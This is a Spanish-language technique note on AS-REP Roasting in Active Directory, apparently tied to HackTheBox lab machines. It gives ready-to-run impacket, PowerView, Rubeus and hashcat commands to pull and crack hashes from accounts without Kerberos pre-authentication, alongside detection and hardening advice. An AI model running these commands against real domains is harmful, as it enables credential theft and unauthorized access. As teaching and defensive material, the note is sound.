AS-REP Roasting
AS-REP Roasting abusa de las cuentas de Active Directory que tienen desactivada la preautenticación de Kerberos para crackear su contraseña offline.
Normalmente, antes de entregar el AS-REP, el KDC exige una preautenticación: el cliente cifra una marca de tiempo con el hash de su contraseña y el KDC la verifica. Si una cuenta tiene el flag DONT_REQ_PREAUTH (bit 0x400000 de userAccountControl), ese paso se salta: cualquiera puede pedir un AS-REP para ese usuario sin conocer su contraseña, y parte de la respuesta va cifrada con el hash NT de la cuenta. Se extrae ese bloque y se craquea offline.
A diferencia del Kerberoasting, no hace falta ni una credencial previa: basta con saber el nombre de un usuario vulnerable, así que suele combinarse con una enumeración de usuarios (web, LDAP, kerbrute).
Mecanismo
Con una lista de usuarios y sin credenciales, GetNPUsers pide el AS-REP de cada uno y devuelve el hash solo de los que no preautentican:
impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.hashCon credenciales ya válidas se consulta a LDAP quién tiene el flag puesto y se piden sus AS-REP de golpe:
impacket-GetNPUsers -dc-ip <dc> <domain>/<user>:<pass> -request -format hashcatkerbrute combina enumeración y roast: al validar usuarios, recupera automáticamente el AS-REP de cualquiera sin preautenticación. Desde Windows, PowerView localiza las cuentas y Rubeus hace el roast:
Get-DomainUser -PreauthNotRequired | select samaccountname,useraccountcontrol
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcatEl bloque resultante tiene el prefijo $krb5asrep$23$usuario@DOMINIO:... y se craquea con hashcat en modo 18200:
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txtVerificación. El hash crackeado es solo una contraseña candidata: valídala con netexec sobre SMB/WinRM ((Pwn3d!)) para confirmar que la cuenta existe, está habilitada y sirve en algún servicio.
Requisitos
Alcance al KDC (88/tcp) y una lista de usuarios; si no hay credenciales, funciona igual mientras exista al menos una cuenta con DONT_REQ_PREAUTH. El éxito final depende por completo de que la contraseña de esa cuenta sea débil.
Matiz. Igual que el Kerberoasting, AS-REP Roasting no garantiza acceso: es una puerta a un crackeo offline que solo se abre si la contraseña es débil. El bloque va cifrado en RC4 (modo 18200), rápido de crackear; si la cuenta fuerza AES el crack se vuelve mucho más lento. Y depende por completo de encontrar una cuenta con DONT_REQ_PREAUTH, que no siempre existe.
Cómo detectarlo. Pedir el AS-REP genera un Event ID 4768 (se solicitó un ticket de autenticación Kerberos) en el DC con el campo Pre-Authentication Type a 0 (sin preautenticación): es un valor que en la práctica solo aparece cuando alguien está roasteando, porque las cuentas normales sí preautentican. La huella se refuerza si el cifrado solicitado es RC4 (0x17) y si llegan varios 4768 con preauth 0 para usuarios distintos desde una sola IP en poco tiempo (barrido con lista de usuarios). Una cuenta señuelo con DONT_REQ_PREAUTH y sin uso convierte cualquier 4768 sobre ella en alarma directa.
Defensa. No desactivar la preautenticación salvo necesidad real, y poner contraseñas largas y aleatorias (o gMSAs) en cualquier cuenta que la tenga desactivada, para que el bloque robado no se pueda crackear. Auditar periódicamente el flag DONT_REQ_PREAUTH cierra la ventana. La contraseña recuperada se explota luego con reutilización de credenciales o alimenta el password-spraying.
Máquinas donde se aplica
- ActiveHackTheBox
- AdministratorHackTheBox
- CertifiedHackTheBox
- ForestHackTheBox
- SaunaHackTheBox